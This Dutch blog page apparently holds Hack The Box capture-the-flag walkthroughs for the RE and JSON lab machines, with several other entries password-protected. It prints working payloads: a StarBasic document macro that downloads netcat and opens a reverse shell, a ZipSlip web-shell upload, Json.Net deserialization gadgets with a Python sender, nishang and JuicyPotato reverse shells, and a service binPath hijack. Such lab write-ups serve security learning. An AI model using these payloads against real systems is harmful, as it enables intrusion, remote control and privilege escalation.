Beveiligd: HTB-SNIPER-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: HTB-RESOLUTE-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

HTB-RE-NL

Zoals altijd eerst een nmap scan

root@kali:~/htb/re# nmap -p- -sT -oN nmapscan 10.10.10.144
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-20 03:27 EST
Stats: 0:00:25 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 14.92% done; ETC: 03:30 (0:02:23 remaining)
Nmap scan report for 10.10.10.144
Host is up (0.029s latency).
Not shown: 65533 filtered ports
PORT    STATE SERVICE
80/tcp  open  http
445/tcp open  microsoft-ds

Ik vond de shares met behulp van

root@kali:~/htb/re# smbmap -H 10.10.10.144 -u guest -p ''
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.144...
[+] IP: 10.10.10.144:445 Name: reblog.htb 
Disk Permissions
---- -----------
IPC$ READ ONLY
malware_dropbox READ ONLY

vervolgens las ik de reblog.htb, en heb daarna een malicious odt file geupload, larer bleek dat het een ods file moest zijn.

In metasploit is er een exploit die zou moeten werken :

exploit/multi/misc/openoffice_document_macro

We hernoemen het verkregen bestand naar zip, en bewerken deze door de payload te vervangen door   :

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> <script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic"> Sub OnLoad Shell(&quot;certutil.exe -urlcache -split -f 'http://10.10.14.7/nc.exe' C:\Windows\System32\spool\drivers\color\nc.exe&quot;) Shell(&quot;C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.7 1111 -e cmd.exe&quot;) End Sub </script:module>
Daarna sla ik het aangepaste bestand op als ods file ipv zip
root@kali:~/htb/re# smbclient //reblog.htb/"malware_dropbox" -u blah
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 22 02:19:02 2020
.. D 0 Wed Jan 22 02:19:02 2020

8247551 blocks of size 4096. 4294559 blocks available
smb: \> put puckiestyle.odt
putting file puckiestyle.odt as \puckiestyle.odt (28.8 kb/s) (average 28.8 kb/s)
smb: \>
root@kali:~/htb# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.144 - - [22/Jan/2020 04:03:03] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.144 - - [22/Jan/2020 04:03:04] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.144 - - [22/Jan/2020 04:03:53] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.144 - - [22/Jan/2020 04:03:53] "GET /nc.exe HTTP/1.1" 200 -


root@kali:~/htb/re# smbclient //reblog.htb/"malware_dropbox" -u blah
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 22 04:59:00 2020
  ..                                  D        0  Wed Jan 22 04:59:00 2020

		8247551 blocks of size 4096. 4294527 blocks available
smb: \> put facelesscoder.ods
putting file facelesscoder.ods as \facelesscoder.ods (28.0 kb/s) (average 28.0 kb/s)
smb: \> put facelesscoder.ods
putting file facelesscoder.ods as \facelesscoder.ods (28.1 kb/s) (average 28.1 kb/s)
smb: \> 

hier is mijn gebruikte odt/ods bestand https://github.com/puckiestyle/pentest/blob/master/puckiestyle.ods.zip

 root@kali:~# rlwrap nc -nlvp 1111
listening on [any] 1111 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.144] 49675
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\LibreOffice\program>whoami
whoami
re\luke

C:\Program Files\LibreOffice\program>
c:\Users\luke\Desktop>type user.txt
type user.txt
FE41736F5B9311E48E48B520D9F384D3

.

ZipSlip archie maken

Ik maakt een zipslip, door eerst in mijn kali box folders aan te maken \inetpub\wwwroot\blog

vervolgens copieerde ik hier puckieshell.ods hierheen

toen maakt ik het zipslip met

root@kali:/HTB/RE# zip temp.zip ../../../../../../../../inetpub/wwwroot/blog/puckieshell.aspx
 adding ../../../../../../../../inetpub/wwwroot/blog/puckieshell.aspx (      deflated 75%)

upload vervolgens dit zipslip.zip naar ods folder for analyse door vulerable WinRAR

c:\Users\luke\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4638-2C29

Directory of c:\Users\luke\Documents

06/18/2019 01:05 PM <DIR> .
06/18/2019 01:05 PM <DIR> ..
01/22/2020 03:28 AM <DIR> malware_dropbox
01/22/2020 03:28 AM <DIR> malware_process
01/22/2020 03:46 AM <DIR> ods
06/18/2019 09:30 PM 1,096 ods.yara
06/18/2019 09:33 PM 1,783 process_samples.ps1
03/13/2019 05:47 PM 1,485,312 yara64.exe
3 File(s) 1,488,191 bytes
5 Dir(s) 17,559,576,576 bytes free

c:\Users\luke\Documents>whoami
whoami
re\luke

c:\Users\luke\Documents>certutil -urlcache -split -f "http://10.10.14.7/puckiestyle.zip" "c:\Users\luke\Documents\ods\runme.rar"
certutil -urlcache -split -f "http://10.10.14.7/puckiestyle.zip" "c:\Users\luke\Documents\ods\runme.rar"
****  Online  ****
  0000  ...
  322f
CertUtil: -URLCache command completed successfully.

root@kali:~/htb# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.144 - - [22/Jan/2020 08:16:30] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.144 - - [23/Jan/2020 04:00:25] "GET /puckiestyle.zip HTTP/1.1" 200 -

`vervolgens opende ik de browser  en ging naar de shell

Ik maakte eerst een folder c:\temp om daar mijn bestanden neer te zetten. En vervolgens starte ik een netcat sessie

root@kali:~/htb/re# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.144] 49734
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\blog>whoami
whoami
iis apppool\reblog
c:\Program Files\Sysinternals>accesschk -accepteula -uvwc * > c:\temp\accesscheck.txt
accesschk -accepteula -uvwc * > c:\temp\accesscheck.txt

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

vervolgens ontdekte ik in accesscheck.txt dat NT AUTHORITY\SERVICE ook RW access had op UsoSvc

c:\Program Files\Sysinternals>type c:\temp\accesscheck.txt
-knip-
UserManager
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
UsoSvc
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW NT AUTHORITY\SERVICE
SERVICE_ALL_ACCESS
VaultSvc

Voor PrivEsc heb ik de usosvc gebruikt. ( eerst current bin path controleren, en daarna aanpassen, en als laatste de usosvc service stoppen en starten )

C:\inetpub\wwwroot\blog>sc config usosvc binPath="C:\temp\nc.exe 10.10.14.7 53 -e cmd"
sc config usosvc binPath="C:\temp\nc.exe 10.10.14.7 53 -e cmd"
[SC] ChangeServiceConfig SUCCESS

C:\inetpub\wwwroot\blog>reg query "HKLM\System\CurrentControlSet\Services\usosvc" /v "ImagePath"
reg query "HKLM\System\CurrentControlSet\Services\usosvc" /v "ImagePath"

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\usosvc
ImagePath REG_EXPAND_SZ C:\temp\nc.exe 10.10.14.7 53 -e cmd


C:\inetpub\wwwroot\blog>net stop usosvc
net stop usosvc
The Update Orchestrator Service service is not started.

More help is available by typing NET HELPMSG 3521.


C:\inetpub\wwwroot\blog>net start usosvc
net start usosvc
The service is not responding to the control function.

More help is available by typing NET HELPMSG 2186.


C:\inetpub\wwwroot\blog>


root@kali:~/htb/re# rlwrap nc -nlvp 53
listening on [any] 53 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.144] 49735
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>net user coby IEstyle
net user coby IEstyle
The command completed successfully.

C:\Windows\system32>net share root=C:\Users\administrator\desktop /grant:everyone,FULL
C:\Windows\system32>net use z: \\127.0.0.1\root /user:coby IEstyle
net use z: \\127.0.0.1\root /user:coby IEstyle
The command completed successfully.

C:\Windows\system32>z:
z:

Z:\>dir
dir
Volume in drive Z has no label.
Volume Serial Number is 4638-2C29

Directory of Z:\

04/14/2019 11:35 AM <DIR> .
04/14/2019 11:35 AM <DIR> ..
03/27/2019 05:37 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 17,572,204,544 bytes free

Z:\>type root.txt
type root.txt
1B4FB905423F4AD8D99C731468F7715D

Z:\>

het kan ook ipv met netcat met PowerUp
Invoke-ServiceAbuse -Name "UsoSvc" -Command "\users\public\downloads\nc.exe 10.10.14.7 53 -e cmd"

Auteur : Jacco Straathof

Beveiligd: HTB-PLAYER-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: HTB-SCAVENGER-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: HTB-CONTROL-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: HTB-MANGO-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

Beveiligd: HTB -MONTEVERDE-NL

De inhoud is beveiligd met een wachtwoord. Vul het wachtwoord hieronder in om hem te kunnen bekijken:

Geplaatst op

HTB-JSON-NL

Zoals altijd eerst een nmap scan

root@kali:~/htb/json# nmap -sV 10.10.10.158
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-13 03:59 EST
Nmap scan report for 10.10.10.158
Host is up (0.077s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
80/tcp    open  http         Microsoft IIS httpd 8.5
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.63 seconds

De eerste analyse van de ftp-, smb- en powershell-poorten bleek niet erg nuttig, dus ging ik verder met de webpagina’s.

The web page showed a login screen, but a simple guess with Admin:Admin as username/password combination let me in.

Na analyse van alle verzoeken in Burpsuite, viel het verzoek op / api / Account op omdat de naam van het vak JSON is en dit het enige verzoek met een JSON-antwoord is. Ik heb het verzoek in Burp goed bekeken en merkte dat het een OAuth2-cookie had en een Bearer-token, dus ik bleef me daarop concentreren met behulp van Curl.

c:\PENTEST>curl -XGET http://10.10.10.158/api/Account
{"Message":"Authorization has been denied for this request."}
c:\PENTEST>curl -XGET http://10.10.10.158/api/Account --header "Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" --header "Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0="
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Als ik het verzoek met Curl herhaal, krijg ik een JSON-string terug met een ID, de gebruikersnaam, een wachtwoord en nog wat andere dingen. Dus laten we die “Bearer string” eens nader bekijken.

root@kali:~/htb/json# echo -n eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0= | base64 -d
{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

Blijkbaar bevat de waarde precies hetzelfde dat wordt geretourneerd. Maar wat gebeurt er als ik de ID-waarde (geheel getal) verander in een stringwaarde.

root@kali:~/htb/json# echo -n {"Id":a,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"} | base64 |tr -d '\n'; echo
SWQ6YSBVc2VyTmFtZTphZG1pbiBQYXNzd29yZDoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMyBOYW1lOlVzZXIgQWRtaW4gSFRCIFJvbDpBZG1pbmlzdHJhdG9y

root@kali:~/htb/json# curl -XGET http://10.10.10.158/api/Account --header "Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=" --header "Bearer: SWQ6YSBVc2VyTmFtZTphZG1pbiBQYXNzd29yZDoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMyBOYW1lOlVzZXIgQWRtaW4gSFRCIFJvbDpBZG1pbmlzdHJhdG9y"
{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}r

Dus het geeft een fout omdat het een Json.Net-object niet kan deserialiseren. Na wat zoeken kwam ik dit   document tegen  hier is specifiek vermeld dat dit geen JSON-kwetsbaarheid is, maar een Deserialization-kwetsbaarheid,  Na wat meer te hebben bekeken, vermelden ze specifiek dat Json.Net ook kwetsbaar is. Blijkbaar zou het mogelijk moeten zijn om code te injecteren als u controle hebt over de waarde Type van het object Serialized. Ik begon een python-webserver om een aangepast Powershell-script van nishang te hosten, zoals Ippsec in verschillende video’s aantoont

root@kali:~/JSON# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1
root@kalivm:~/JSON# echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.70 -Port 443" >> puckieshell443.ps1
root@kali:~/JSON# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Nadat dat was gewijzigd, begon ik de vereiste Json.net-payloads te maken, zoals specifiek vermeld in de Breeze demo van de Blackhat Talk.

zie hieronder de rce “proof of concept” met burp en ysoserial.exe en tcpdump

c:\PENTEST\ysoserial>ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "ping 10.10.16.70" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c ping 10.10.16.70']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
c:\PENTEST\ysoserial>

Terwijl ik aan het prutsen was met dit spul, werd ik het zat om de payloads te moeten base64-coderen en het vervolgens opnieuw te verzenden, dus besloot ik een eenvoudig python-script te maken om dat voor mij te doen.

root@kali:~/htb/json# cat htb-json.py 
#!/usr/bin/env python3
from base64 import b64decode, b64encode
import requests
import argparse

parser = argparse.ArgumentParser(description='pass the attack script.')
parser.add_argument("-s", '--script', required=True, 
help='script to process for the attack')
args = parser.parse_args()

admin_token="eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0="
#Base64 encode the provided payload file
def create_payload(package):
payload = open(package, 'rb').read()
return b64encode(payload).decode('UTF-8')

#Send the payload file
print("Sending payload: ", args.script)
requests.get('http://10.10.10.158/api/Account', 
headers={
'Cookie': 'OAuth2='+admin_token, 
'Bearer': create_payload(args.script)
})

Nogal wat gedoe later, kreeg ik eindelijk de eerste lading die PowerShell gebruikt om een verzoek in te roepen om de gewijzigde PowerShell Reverse shell over te brengen.

root@kali:~/htb/json# cat getPS1.plain 
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c powershell Invoke-WebRequest -Uri "http://10.10.16.70:8000/puckieshell443.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

root@kali:~/htb/json# python3 htb-json.py -s getPS1.plain
Sending payload:  getPS1.plain

En in de shell van de python-webserver zie ik het inkomende GET-verzoek uit de JSON-box voor het reverse.ps1-bestand.

root@kali:~/htb# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.158 - - [13/Jan/2020 03:04:51] "GET /puckieshell443.ps1 HTTP/1.1" 200 -

De volgende stap is het voltooien van het objectbestand dat het PowerShell-script aanroept, en na wat gedoe met dat bestand kwam ik bij de volgende coderegels:

root@kali:~/htb/json# cat execPS1.plain 
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c powershell c:\\windows\\temp\\sedje.ps1']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

En in de Terminal terwijl de netcat-luisteraar een tijdje wacht, zie ik …

root@kali:~/htb# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.158] 49275
Windows PowerShell running as user JSON$ on JSON
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>

Ja, ik heb een shell Het volgende dat je moet doen, is kijken wie ik ben en de vlag van de gebruiker vastleggen!

PS C:\windows\system32\inetsrv> whoami
json\userpool
PS C:\windows\system32\inetsrv> Get-Content c:\Users\userpool\Desktop\user.txt
34459a01f50050dc410db09bfb9f52bb34459a01

Additional notitie

Ik kreeg de feedback dat het commando dat ik in de payload gebruikte nog eenvoudiger had kunnen zijn. In plaats van de ‘cmd’ en ‘/ c’ goedkeuringen zou het volgende net zo eenvoudig zijn geweest.

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['powershell','Invoke-WebRequest -Uri "http://10.10.16.70:8000/reverse.ps1" -OutFile "c:\\windows\\temp\\sedje.ps1"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Privilege Escalatie

Na wat rondneuzen en algemene PrivEsc-acties uitvoeren, vind ik een interessant bestand in een Sync2FTP-directory

PS C:\Program Files\Sync2Ftp> type SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="minute" value="30"/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
  </startup>


</configuration>

Het bestand lijkt een gebruikersnaam, wachtwoord te bevatten die eruit zien als een base64-string en een beveiligingssleutel. Het decoderen van de base64-tekenreeksen bracht me wat onleesbare dingen, dus ik besloot het bestand SyncLocation.exe uit te voeren en het liep zonder problemen. Aangezien het waarschijnlijk is dat het .exe-bestand het .config-bestand gebruikt, kopieer ik beide bestanden naar een beschrijfbare map zodat ik ze uit de doos kan overbrengen voor verdere analyse.

C:\Program Files\Sync2Ftp> mkdir c:\windows\temp\sedje
                                          
                                          
    Directory: C:\windows\temp            
                                          
                                          
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         10/5/2019   9:08 PM            sedje
                                                  
                                                  
PS C:\Program Files\Sync2Ftp> cd c:\windows\temp\sedje
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe" .
PS C:\windows\temp\sedje> copy "C:\Program Files\Sync2Ftp\SyncLocation.exe.config" .

Nu die bestanden klaar zijn, moet ik een lokale FTP-server starten om de bestanden te vangen. Python kan dit eenvoudig doen met behulp van de pyftpdlib-bibliotheek.

root@kalivm:~/JSON# python -m pyftpdlib -p 21 -w
/usr/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2019-10-05 21:15:22] >>> starting FTP server on 0.0.0.0:21, pid=10105 < <<
[I 2019-10-05 21:15:22] concurrency model: async
[I 2019-10-05 21:15:22] masquerade (NAT) address: None
[I 2019-10-05 21:15:22] passive ports: None

In het Windows-vak maak ik een ftp-script en breng ik de bestanden over naar mijn lokale computer.

PS C:\windows\temp\sedje> dir
Directory: C:\windows\temp\sedje
Mode LastWriteTime Length Name 
---- ------------- ------ ---- 
-ar-- 5/23/2019 2:48 PM 9728 SyncLocation.exe 
-a--- 5/23/2019 3:08 PM 591 SyncLocation.exe.config

PS C:\windows\temp\sedje> echo "open 10.10.16.70" > ftp
PS C:\windows\temp\sedje> echo "anonymous" >> ftp
PS C:\windows\temp\sedje> echo "" >> ftp
PS C:\windows\temp\sedje> echo "put SyncLocation.exe" >> ftp
PS C:\windows\temp\sedje> echo "put SyncLocation.exe.config" >> ftp
PS C:\windows\temp\sedje> echo "quit" >> ftp
PS C:\windows\temp\sedje> ftp -s:ftp
ftp> open 10.10.16.70
Connected to 10.10.16.70.
220 pyftpdlib 1.5.4 ready.
User (10.10.16.70:(none)): 
331 Username ok, send password.

230 Login successful.
ftp> put SyncLocation.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 9728 bytes sent in 0.16Seconds 62.36Kbytes/sec.
ftp> put SyncLocation.exe.config
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp: 591 bytes sent in 0.01Seconds 39.40Kbytes/sec.
ftp> quit
221 Goodbye.
PS C:\windows\temp\sedje>

Dus het FTP-script zegt dat de bestanden worden overgedragen. Tijd om de FTP-server op hetzelfde te controleren.

root@kali:~/htb/json# python -m pyftpdlib -p 21 -w
/usr/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2020-01-13 05:33:01] >>> starting FTP server on 0.0.0.0:21, pid=3848 <<<
[I 2020-01-13 05:33:01] concurrency model: async
[I 2020-01-13 05:33:01] masquerade (NAT) address: None
[I 2020-01-13 05:33:01] passive ports: None
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[] FTP session opened (connect)
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[anonymous] USER 'anonymous' logged in.
[I 2020-01-13 05:35:07] 10.10.10.158:49859-[anonymous] STOR /root/htb/json/SyncLocation.exe completed=1 bytes=9728 seconds=0.28
[I 2020-01-13 05:35:08] 10.10.10.158:49859-[anonymous] STOR /root/htb/json/SyncLocation.exe.config completed=1 bytes=591 seconds=0.14
[I 2020-01-13 05:35:08] 10.10.10.158:49859-[anonymous] FTP session closed (disconnect).
^C[I 2020-01-13 05:37:28] received interrupt signal
[I 2020-01-13 05:37:28] >>> shutting down FTP server (1 active socket fds) <<<
root@kali:~/htb/json# ls
execPS1.plain  htb-json     nmap-json.gnmap  nmap-json.xml     SyncLocation.exe.config
getPS1.plain   htb-json.py  nmap-json.nmap   SyncLocation.exe

Nadat de bestanden zijn overgedragen, breng ik ze over naar een lokale Windows VM, omdat dat eenvoudiger is dan het analyseren op Linux. Ik open .exe in dnspy.

In het binaire bestand is er een duidelijk leesbare functie Decrypt () die een sleutel en een waarde nodig heeft om de met base64 gecodeerde tekenreeksen te decoderen. Omdat ik niet zo goed ben met .net-dingen, zoek ik online naar een eenvoudige oplossing.

Ik vind die oplossing in dotnetfiddle, een online tool waarmee dotnet-code kan worden uitgevoerd. Na het aanpassen van de code door de sleutel toe te voegen en de functie twee keer aan te roepen met de base64-string erin, krijg ik de resultaten.

Username: superadmin
Password: funnyhtb

Nu zijn er nog verschillende plaatsen waar ik deze inloggegevens kan proberen. Na wat gedoe met PowerShell-privilege-escalatie kreeg ik een hint dat ik een ander pad moest proberen en de FTP-server probeerde.

c:\PENTEST>ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
202 UTF8 mode is always enabled. No need to send this command.
User (10.10.10.158:(none)): superadmin
331 Password required for superadmin
Password:
230 Logged onroot@kalivm:~/~# ftp 10.10.10.158
Connected to 10.10.10.158.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.10.10.158:root): superadmin
331 Password required for superadmin
Password:
230 Logged on
Remote system type is UNIX.

Bingo! Aangemeld op de FTP-server, het enige dat nog te doen was, is het bureaublad op de vlag controleren en het krijgen!

ftp> dir Desktop
200 Port command successful
150 Opening data channel for directory listing of "/Desktop"
-r--r--r-- 1 ftp ftp            282 May 22  2019 desktop.ini
-r--r--r-- 1 ftp ftp             32 May 22  2019 root.txt
226 Successfully transferred "/Desktop"
ftp> get Desktop/root.txt ./root.txt
local: ./root.txt remote: Desktop/root.txt
200 Port command successful
150 Opening data channel for file download from server of "/Desktop/root.txt"
226 Successfully transferred "/Desktop/root.txt"
32 bytes received in 0.00 secs (223.2143 kB/s)
ftp> 221 Goodbye
root@kali:~/JSON# cat root.txt
3cc85d1bed2ee84af4074101b991d441

Ook nog even de juicypotato manier op te escalaten naar root !

Bij het uitvoeren van systeminfo Ik zag dat het een Windows Server 2012 Datacenter was, deze is zeer waarschijnlijk kwetsbaar voor JuicyPotato.
Dus uploaded ik de exploit, en zocht op  http://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter/ voor een  CLSID met NT
AUTHORITY\SYSTEM permissie, en laat deze nc.exe uitvoeren:

PS C:\windows\temp\sedje> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State 
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled 
SeImpersonatePrivilege Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\windows\temp\sedje> certutil -urlcache -split -f http://10.10.16.70/nc.exe C:\users\userpool\Downloads\nc.exe
**** Online ****
0000 ...
6e00
CertUtil: -URLCache command completed successfully.
PS C:\windows\temp\sedje> certutil -urlcache -split -f http://10.10.16.70/juicypotato.exe C:\users\userpool\Downloads\juicypotato.exe
**** Online ****
000000 ...
054e00
CertUtil: -URLCache command completed successfully.
PS C:\windows\temp\sedje> cd C:\users\userpool\Downloads\
PS C:\users\userpool\Downloads> .\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\users\userpool\Downloads\nc.exe 10.10.16.70 53 -e cmd.exe" -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
Testing {e60687f7-01a1-40aa-86ac-db1cbf673334} 1337
